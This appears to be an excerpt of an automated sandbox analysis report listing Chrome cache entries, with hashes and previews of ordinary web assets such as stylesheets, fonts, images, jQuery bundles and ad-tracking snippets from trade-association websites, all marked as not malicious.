URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.resizable.css
Preview:	/* Resizable.----------------------------------*/..ui-resizable { position: relative;}..ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block;}..ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; }..ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0px; }..ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0px; }..ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0px; height: 100%; }..ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0px; height: 100%; }..ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; }..ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; }..ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; }..ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5010
Entropy (8bit):	5.431913400803066
Encrypted:	false
SSDEEP:	96:vOLEfOLbFZOGOLWxOL2Vc+uKOL/NvOCEfOCbFZOGOCWxOC2Vc+uKOC/NvOw6EfOc:KEaSzW0cklEDSKW5cpsEmSvWYcIV
MD5:	98E7EE40BB0F119C1BCEBC0ABD8DFB60
SHA1:	79FE84C30A50D62C942B004571F1C0B19BC70E44
SHA-256:	08F13761C282A14F07463210A2710EAC333C1F640005B8510FBD6413CF633141
SHA-512:	8FC8546B744BBFF8BE43A26A9060C9F6C6DE0AB61D8D9E4948582FCCFADF5E4EA8E02BAA5CAA5F3DC665DD3CD09D766860D02AC308C21B979DA4B8B329E07E76
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Raleway%3Aregular%2C800%2C700&subset=latin
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Raleway';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyCAIT5lu.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Raleway';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyCkIT5lu.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese /.@font-face {. font-family: 'Raleway';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyCIIT5lu.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext */.@font-face {. font-family: 'Raleway';. font-style

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 87, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	865
Entropy (8bit):	7.56826330397531
Encrypted:	false
SSDEEP:	24:qfGaGI1sUg6TEY0O0Tpw9v/JKPUEBYzqehAaALMBK1:q8I1sHeEvOYKv/6UhdhWMBM
MD5:	D09D9B37C216009C192926338684BF3F
SHA1:	5146DAF3E374F458DFAED6C089CE64C9E8CB3B1F
SHA-256:	7075393C672E17F7A1D106281FCCDD944E192F8D7BBD13DB668C476C7B4C94B2
SHA-512:	511DE98B04E469209E4D2521909E3DFA60300911AD7F101431695DDCEF58CA9A3F51F47FB7988BB4B642298D16F4DF5078995FC2B41E20E76F76D750F2906FB1
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/media/2017/04/logo-icon.png
Preview:	.PNG........IHDR...\...W...........NPLTEGpL.........t .......t!....u"....t .u#....t .............t ..zyt ..get .....?9.t<.....tRNS..:.`.D.P... p.g...[.......IDATX...v. .D.Q.uF......6,.:......-. .S._(.:....[!D4.X..O.8....S...y..o.....p`.XX.4.l8.y.......2...@.g.8..Nx....W_...]..e:..!..P.\..e.d..3...:...[pm?4\|......h.5..}..A./...b.cg?.`...S?..\|OxO..........E.9.....<..fRI......K..=.H5.Z..V?..Ln..0.....e...4..m........F.....nF,..y2......2.......7.Se.Jq..,.8B....n..0,.BHy=B..3..'6..o.f..<....2_.pvW..Y....v..p..j}..1.....v.(Xr.F/Mx.........B\|..w..8..:. ......P..M.M.`............Y(D:...........M.Z..`/.T...B.....Mr8....j.[8...\mb.....!H}.o.T....5..`V.p....zu..?$..."B[.d......:.71......-D..A.M.......He..\71.g........f......l"..^.........e....t..c.G.E....b.BT..h...i.[.x`t....kl.....xp:.K...Q....v...5).....IEND.B`.

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1900 x 400, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	98411
Entropy (8bit):	7.968348005549629
Encrypted:	false
SSDEEP:	1536:f5UHlh57uT4hohGOVC4YAUbDUcBM0Zg+vNQgW51e6xsnZnA1VORyw/G7GCE+oiTB:f5euooAjXzgQNQgW2dAjpa+FV
MD5:	24DD3B4840283780FF3CAFD77BD72A40
SHA1:	C185C999DA21F1684F50EC00352CF61E4679B250
SHA-256:	6D33A8F7F93AC84E152AF582FE2EC6CCA6F7FDF7A4E63188858FB87C4BD8C349
SHA-512:	79F6F0D03D9718DB788AF51A2D97C152F329EB1C421B7FD6EC20D15476586E83CA93D1125167F56841F27FE137A5C1C668CE4A239602F3C320211785BF5EF5ED
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...l.........U.`....{PLTE..................................................~~}ttt.b]llkbbbYZZ.A=RRRKKKCDD...>>>888t .333...]..)))Q..###.5A.........@.0....IDATx..].{.......i.[..@t\.8....._.If.....a.I...S.)....z.D.4_.r..+...:...Y.o=...g9...`...,`...,`...G.........r.......~..#_......5.........?..c......K.._...C....\|.o.O'........3....i...,g../......L..Ge.Hm..x@)..c>..`&.G.9!DB.I<.'~.....h..{.o...3?H>#u..G\|.#O....D}#........&...3...u..pA<..y.C....].r....`......()...rJg0VRQCA..e....N.^.H.4...>.@..J..e....:.........WB...c...P.R......\.D.<.R.5;...{.....(m^.v9.Y....-.4...mG........<t.0..Y..! .".....7.D!. 6..-$.m............#..].t.@T._!....~....`n+....mA.[.(.Uw.....e......G.zH.H.....l....l.&..p.B-x..Y..l.c....dLl.%!...I..d.FGV.o.4...f...I...dm..1[Gv.....](........#,..{......K\^.....?.k.5.%./%.....eKZ......\|..Z....Y..._.l.c.Em.f..p[.omI2, . "C..83Z3.Ux.....f}.uI.y..KW8....[....".Wm..5.../B....[...SZ..-xi.....jq...... -x.sf....Yb...r.....[.Q[

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	7.874788683267188
Encrypted:	false
SSDEEP:	96:ScAKZusrxFJZcxIfXv6Dak7EY62y+Z2gziWhKx5QZjMcMiQiUQP68:ScAKZus3nByukgYdZ2gziW83Q2iQhH8
MD5:	E7756C8DBDF20E247C7CF7BB938BADFB
SHA1:	5C93E3D6B18AF4B7AA5BA7208F8D8E37E41492AB
SHA-256:	92A8FD51643330D839A3CC1CB4EDC17164382915E91D7A934735F870D9152C3A
SHA-512:	53CA82DCFA474A7CF7DD3CB4FFD1D0D84B134F1D0EBBA0568002926DDD384041A74DD5148F091730312698EDF59FDE785DCA3F82DE9210254270BD761172D7DD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................~PLTE...................................quy...................MQU......y}....i.....}........eim...]u.Y]aUmy.)%...y...A5......t..&....IDATx....c.:........))......d....,.s.....,M.4B........J1...l.}.[......&`8F.R(#J...J!....%...W..W..o.).)..t','./..c.F..../u.t..r!.5..`..X... ...)G...........?........W....(............#..TE.......0(.F.^+....=}......n...bM.k...@........+#j...~...0..@.d..l....T...(3`:.x..C...0..TT&..gdG.x.......T...-....^?..3....g.L...4......i4.....9.L..^:.^]......(..0bUT.Q..4..7.......6..9.....6... ...qr.I..&..S...0..0..Dh....0ZY..e.r.0.............Q..,.P1..E..Z .f.6...O..P.O.......(DQ.{H.8b@.[.I._.2e1H_..0..........,..$.*..e....3)......0h.).~}}.I..........5Tr........Tpp..0i.0.[...,d.d....Y..]...4.a......4...{w..q..j.=........qH..Lc.......c..(.h.@2.s.....08.TE.a....`.P..3.......q].X....;...4\|,.z..4-L.;..`.....}..7)..>.h=k.....n.ij...8...q\.G..../..<..._W.[.a.T...4.T...!h.9.cT...

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	31868
Entropy (8bit):	7.9515636847210125
Encrypted:	false
SSDEEP:	768:DlS3Bkz9UwNYQhnP+B9xKS7aS4hv3MYP7q8luoJmHIn:pS+hNnhWf92/aYALon
MD5:	53A0A9D6C622EBD4EE841927EC186EBF
SHA1:	C66AA5E63236AB49DA4CA4851B349EC7E76F216A
SHA-256:	9043DCACEE97B1055BFF22AD1D92E296A4EBACB71C04912A57A9198C6252394D
SHA-512:	70EEE3C00211A7E927F7AB40B5C22CA4CAE0574CE4D2A3772220E97F948C3B37F5262B4A6DA231F4DF2C8EE022546797FF258E98801AC5EB59A4C70BB6E96F67
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ..............0PLTE...............mkqqqQQQ`72`62e0I($000L#.......=Z....\|.IDATx...lk.u...R...D.^..;.t..-.Xt....DL.43h.2/...F.:-........3.}H....L.......S`x..t......r.t.).6i....1..1D\. ..x.{..... .%..H.'.-....\|..^g..._u../.i...g{...cQ....t...#b.....Z....Gd..}..5..!K..W...dGV....'e......)f9.....3u...X.q.x .$;.....NMDW..6....r.J.8.....E.._.l...@.]I.....45D>..8..q...W..t......F,j6..{ .$].`../..gY..Z.$.m.u.C.b._;i..Y.`.n..\..K.#.%E..,.lm..o....+I.....6U....?<.9..+E..Y...m."..\.].8RE..6...J....5....$;3.e.........Y.cK2...em.C.........t.!6.....K<.94.XIR..X.N.......H...M.'..x ..vR...Y...f..r.n..m.e9.&...e..e...Jr....B.w.w}.IFYV.'.P.........c.5...p.{....v....J"...5.J.>...zc..r...4!k'..pQU..fY.BV..\..7..6dEz.}..I..M....+....h...$..b..n(.T..d.Y.v(..W..d.Y.}Y.J..7.J5.(T7d%.@..emc...N.$.......c....,......x .....oI<..gYb.{\%.@.e.w.....e.w...'gY>.]\|_..r.e...>..S_...eY.>..E..!.gY../.gY...}.....Y....>..

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	8361
Entropy (8bit):	7.892368993541442
Encrypted:	false
SSDEEP:	192:fjasQIEAZ32ergwNDZgwVKPkv5SRO4gBSJ00VNODtlFtWnuBjQH:evAZbsIZgRPu5SNJLV4HtWCM
MD5:	879D4DDEC7F62AD2B17B0FAF3B0C018C
SHA1:	3BD328F0C2E13D47F5EA04B1E06BB2EFB3514D18
SHA-256:	CE08CD4E388A0A2B636B2836696F28C5426A18D5E0AE8D26110545A4A4F01A86
SHA-512:	CDABAE8DD570CAEC88C819B7273D8643AA8C8B3853E982EEA7F6591B68389FFAEFDD8BFE5D1E28347E120A3BB12AB10AFC2337FED667DCB4376AE608F2977C65
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE..................................puzy~.......................Z]aNRV...........Q.i'.En..ehl5.QHu...o.......8.s.C.]H....t..T..4.S.h.....IDATx....w.J...Luw..).9...}ok...&...ywi.{I..x..G#..$.B...g.M.8.....s..$!...{a._E.$;^..!....t?.L..Y.x...eQ..8J..%....M...p.r.w]_9.yI.4J....k..rZ8.\xdg%{b27.j...G.;.....'&..;..._9.<%......Ea....-.W..).j.......6Wh..I..,\j.q.U.I...?H_suY....{..........(...?.@....N...a.9i.n'...pj.Hc..#W.f.;....P...Y.V&o'..q..d ET\0.E.F.gv..1....!P..\g....?%.?....`....l..e.3.U.y^..Y..iu.).Zh.V3{#6..+Z....iB....C: lS...<)...s./.jO.EG....a 8..!.bf.3J..c.\.@. ..m..h...(...QB.IHP..g...mr.(.2..V...?.......&.`.a ....2).Di}]......}'....H..G...D.C.FC..q.9T.6..$EZ\|"x....3.C1.g.Q.&..1..D0.x....l.2..h4R....F+R..............C!U(..ID./.Y../.F.bc..Vw..p9...86..HD..V&..i..."....0h..`s.4..Q_...Q&.D.Y....oe....ku.. A.........;........*..l.Y..I..r.YX......a..Q$3h..K....p.K..a......aj....../

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1343
Entropy (8bit):	4.923846832990408
Encrypted:	false
SSDEEP:	24:C3oUKgUF/Dvau3+eqWallMA/YLZ5uNJzvLPk0ua2M2k2MSxFv5gX54gC:C35KgyLvh+VWjZ5u/vxuBXKJ7C
MD5:	67B0AEB83DFBB52AAA1F0841D75A5701
SHA1:	57738A464712FBAC59D8C9D3979F0F0A7ED7B3D8
SHA-256:	CB1D5530A5A17C7639123EF7AB28657DA7F5088BBE20D7CBD5FCED87030C1513
SHA-512:	3DA85545B91ABF59F6F91B8F1F4A2C3C7C9D3E5364547399ED2201054325C7CF7073054C562122EBE0A7EF375174F8630C4C38E21C96AE83A992B2B691A079F6
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/media/system/css/modal.css
Preview:	.body-overlayed embed, .body-overlayed object, .body-overlayed select.{..visibility:....hidden;.}..#sbox-window embed, #sbox-window object, #sbox-window select.{..visibility:....visible;.}..#sbox-overlay.{..position:....absolute;..background-color:..#000;.}..#sbox-window.{..position:....absolute;..background-color:..#000;..text-align:....left;..overflow:....visible;..padding:....10px;..-moz-border-radius:..3px;.}..* html #sbox-window.{..top: 50% !important;..left: 50% !important;.}..#sbox-btn-close.{..position:....absolute;..width:.....30px;..height:.....30px;..right:.....-15px;..top:.....-15px;..background:....url(../images/closebox.png) no-repeat top left;..border:.....none;.}...sbox-loading #sbox-content.{..background-image:..url(../images/spinner.gif);..background-repeat:..no-repeat;..background-position:.center;.}..#sbox-content.{..clear:.....both;..overflow:....auto;..background-color:..#fff;..height:.....100%;..width:.....100%;.}...sbox-content-image#sbox-content.{..overflow:...

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	290
Entropy (8bit):	4.323184892096882
Encrypted:	false
SSDEEP:	6:2LGZFFz+UFvqX3yNzRrB1X1+rif8z+UFvqX3yNfb1+rifoAMLDNe:2UqiakZFcM8qiaKcMoAM3M
MD5:	A447E93BA7FD59DB0CA7D6FAE55847EF
SHA1:	0557541933E0576E6747073B3479EAF2FE57D027
SHA-256:	B0AF2B0D82765C12A61C97D88509B2ECF91E058A0BEA6942B6955C0766D5F603
SHA-512:	CCB0C70708EDFF1AC6BAA200C7D59E9F18AB471073478284568B6857DBA51A14313E354D7E9FE8475ECD77973564C1804A74E22C4FB16D46F4A9DF0F63B7669C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884032322
Preview:	(function (w) {. . . if (typeof w.feathr === 'function') {. w.feathr('integrate', 'ttd', '6627cb818425280008d4a656');. }. . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656');. }. . .}(window));

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.3660913291191927
Encrypted:	false
SSDEEP:	3:Rbfyu:BH
MD5:	8102DC9EEE0565DE28649497220D8D17
SHA1:	A32963BE36656F3DD149892540138913BC88DE6C
SHA-256:	51FF2B4B46ACAB057EBA32DC5FBD0BCF410F0AD2BB75D7A92B230BC627D930D6
SHA-512:	3DCD2D1084B5903E84EBF14FA18FEA644D77A7B5B140563FA7EFF43F3029B1C32BAE0431746E86A26ECC4DE8F2341F0CB1F74FC92CC9C92A408EA87556C5412E
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/real-time-auto-find-and-replace/assets/js/rtafar.local.js?ver=1.5.8
Preview:	//silence is golden

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	89824
Entropy (8bit):	5.35792242875757
Encrypted:	false
SSDEEP:	1536:4tUOijLyQTK/tpb6ECw4qFGb6n78mi87jcK6mtjKIG71U8jv4UMJsYxNOJfvjmwH:4iTyLtjKuiWxavjmGxJvcpG8MIE
MD5:	B0DD675014FDDBE89EC3007C53D942A5
SHA1:	CFDFA42EB31D949FE2041291A9A43DCC36249CBE
SHA-256:	6EA54AB8237E36BAF0FD3859DE432E13A1109A989881046E4E5A91DD008E372A
SHA-512:	E8879E4C37257332C790063DED162CD3EEC444BE1BA93185EF8C1040F261D9B8525A515CFC1DC482A3D09438D41407DE08EA3BE78DA4EA8158565DFE21F24D63
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/real-time-auto-find-and-replace/assets/js/rtafar.app.min.js?ver=1.5.8
Preview:	(()=>{var a={755:function(a,b){var c,d;!function(b,c){"use strict";"object"==typeof a.exports?a.exports=b.document?c(b,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return c(a)}:c(b)}("undefined"!=typeof window?window:this,function(h,z){"use strict";var k=[],U=Object.getPrototypeOf,V=k.slice,W=k.flat?function(a){return k.flat.call(a)}:function(a){return k.concat.apply([],a)},A=k.push,X=k.indexOf,t={},Y=t.toString,B=t.hasOwnProperty,C=B.toString,Z=C.call(Object),g={},D=function(a){return"function"==typeof a&&"number"!=typeof a.nodeType&&"function"!=typeof a.item},E=function(a){return null!=a&&a===a.window},f=h.document,$={type:!0,src:!0,nonce:!0,noModule:!0};function _(g,a,d){var b,e,c=(d=d\|\|f).createElement("script");if(c.text=g,a)for(b in $)(e=a[b]\|\|a.getAttribute&&a.getAttribute(b))&&c.setAttribute(b,e);d.head.appendChild(c).parentNode.removeChild(c)}function F(a){return null==a?a+"":"object"==typeof a\|\|"function"==typeof a?t[Y.call(a)]\|\|"

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8123), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	101054
Entropy (8bit):	5.441102424967985
Encrypted:	false
SSDEEP:	3072:CgF55ceh+xEm9oA8Tpuum7zoLXeQKcVpg0b5aXn2:Cm
MD5:	60555082F8EF854562632143598AF742
SHA1:	CB160A78B8B81F0EF7E901B1B802B85F8D3C00BE
SHA-256:	032C43B358661C54080AE6EBBB7E3AABAFF64FDE029910B672A7C1E8604CC374
SHA-512:	ABAF3EB46BBE5831EAB11B6B40C922AE3CE216AA64BF534D57E3BD89C453775A01D72116EE53DD4EAD6B0249CD7472A805A6B9E8F8A5050D6D50C3AD6DB46CDE
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/guide-for-professionals/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. GTM Snippet for Feathr) -->..<script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':..new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],..j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=..'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);..})(window,document,'script','dataLayer','GTM-NZGSSK4');</script>... Google tag (gtag.js) -->..<script async src="https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL"></script>..<script>.. window.dataLayer = window.dataLayer \|\| [];.. function gtag(){dataLayer.push(arguments);}.. gtag('js', new Date());.... gtag('config', 'G-YHMWY88VCL');..</script>..<script>var pm_pid = "25878-036c4a38"; var pm_sw = "/security.js"</script><script src="//wds.wesq.me/js/pub.min.js" async></script>....<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1.0">...<link rel="profile" href

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	104290
Entropy (8bit):	5.165281955200797
Encrypted:	false
SSDEEP:	1536:u3sJmumDHwXTa5/UEgDcvkYT25mG9HU23483ag:B2T25m0HU2Pag
MD5:	854D9D7BDC5A372C4F071AA16242DBF7
SHA1:	71B144DF0A6C3DA47E6E73D3D7FA99EF1FA7D835
SHA-256:	9F9BD59E8D82F186524BF4CF1FFBD21B7755B7914914F2042BE152E883EA1F6C
SHA-512:	EDEA4E312673FA39FA287A12DF89D8CEE7EC5DCC90E74A00D283306E3774F90CAF5EAEC5604138BE5E98464E991AAF026610B2DA5B089D9C4187B7E9D4D5F861
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-login/v1/dist/1.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[1],{"/VYK":function(t,e,n){"use strict";var o=n("dWZg"),i=n("CcnG"),r=n("n6gG"),a=n("G5J1"),l=n("K9Ia"),u=n("bne5"),s=n("T1DM"),c=n("mrSG"),d=n("MGBS"),f=n("zotm"),p=function(){function t(t){this.durationSelector=t}return t.prototype.call=function(t,e){return e.subscribe(new h(t,this.durationSelector))},t}(),h=function(t){function e(e,n){var o=t.call(this,e)\|\|this;return o.durationSelector=n,o.hasValue=!1,o}return c.d(e,t),e.prototype._next=function(t){if(this.value=t,this.hasValue=!0,!this.throttled){var e=void 0;try{e=(0,this.durationSelector)(t)}catch(o){return this.destination.error(o)}var n=Object(f.a)(this,e);!n\|\|n.closed?this.clearThrottle():this.add(this.throttled=n)}},e.prototype.clearThrottle=function(){var t=this.value,e=this.hasValue,n=this.throttled;n&&(this.remove(n),this.throttled=null,n.unsubscribe()),e&&(this.value=null,this.hasValue=!1,this.destination.next(t))},e.prototype.notifyNext=function(t,e,n,o){this.clearThr

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	downloaded
Size (bytes):	2545
Entropy (8bit):	7.144078312196678
Encrypted:	false
SSDEEP:	48:HKJqZ5vxZv9ud9c5674XCj1MWBXqSP6kn6daLzvBEKP:HwYJIdGU74yj1RXq9k6dafv+
MD5:	4B3AFB84B2B71EF56DF09997A350BD04
SHA1:	ACCDAC8A7ABEAB0E21C49539AAD0A973ADDB28EF
SHA-256:	9034D5D34015E4B05D2C1D1A8DC9F6EC9D59BD96D305EB9E24E24E65C591A645
SHA-512:	D65078B5D13873ADB363472B5C358F6B42C128B530F8FEBA9776F8E4906CC97F20EE7BF1E823336CDA8049147A9C7FA5E4016F07F96EC154F3774FBDE1A564B6
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/assets/loader.gif
Preview:	GIF89a...........................................vvv......hhh..........................................!..Created with ajaxload.info.!.......!..NETSCAPE2.0.....,........... .$.AeZ...<...Q46.<...A.......H.a....:....ID0.F...a\xG.3...!...O:-....Rj...TJ..........t...........~."...ds]......)t...-"...i;H>.n.Qg]_......R.3.....GI?.....v$...j3!.!.......,........... .$.0eZ..y..0..q ..P..W...)";..qX.^..D50......<H3.!.....k-.n..a. .(.i...d.$P@y.w`.J..#.....?..y........o...g.....f....'8..{..'C.p`j.n."...2.{.`x...jy.4...C,.4..o#n.$.....!.!.......,........... .$. eZ...$.2.....q....E. ....p$H@D/.....G.D.j8v#..P((D..... ..N.(3..#.y....(@...gUx.kK.).....?K...............$..."...........K.....W......x..?.G...#.W....n.h.K,.....+.....!.!.......,........... .$ .eZ..Y.$1..Q(c......O'"............. 1....q.d"..A.....V.x8p..4988.MRC.@....e.3@.iI.)..'.?I.........@.......,.....#.........5..,.....".E..z...?..@.E...@.....).....*!.!.......,........... .$.(e..$....C.E1..;...('2$..

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	510
Entropy (8bit):	5.298935931307829
Encrypted:	false
SSDEEP:	12:zmWhHuqQV2bqVsifWoRWv9GL2e58ZUIYvfI1xR4f2:LhNc2bqVNOoRWv9Gye58ZAUxR4u
MD5:	01040311A351209AB795C267CFC9AE29
SHA1:	2EC272C41C73B61C3B987726718C1061DC3E7332
SHA-256:	F61F675693B8BB37F962988AEAF6978A9E7D6C9527C891729F92E114CB21FF91
SHA-512:	61D7B44B2CECD899965B657F434CFC9AC00BC79550165EA9735B685E50659481C6C2C32E7E8C6C06B8F00482A39A344A4448EF30B31D02A8C6FF893E2A9B7767
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/accounts/603026366fd8bf4e42de107f/integrations/facebook/pixel.js?pk=feathr
Preview:	!function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?.n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;.n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;.t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window,.document,'script','https://connect.facebook.net/en_US/fbevents.js');..fbq('dataProcessingOptions', ['LDU'], 0, 0);.fbq('init', '688224189896855');.feathr('integrate', 'facebook', '688224189896855');

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1714
Entropy (8bit):	7.836793321702915
Encrypted:	false
SSDEEP:	48:iCLIm7nmFCKExO3Do3j1I7nE1B1RCgffs:9lnmFPDoZI7inffs
MD5:	2AF8EC16970A9312C73AB6312230392B
SHA1:	C6254EDBAC78950F156F5C6FA2F79DCFE565702C
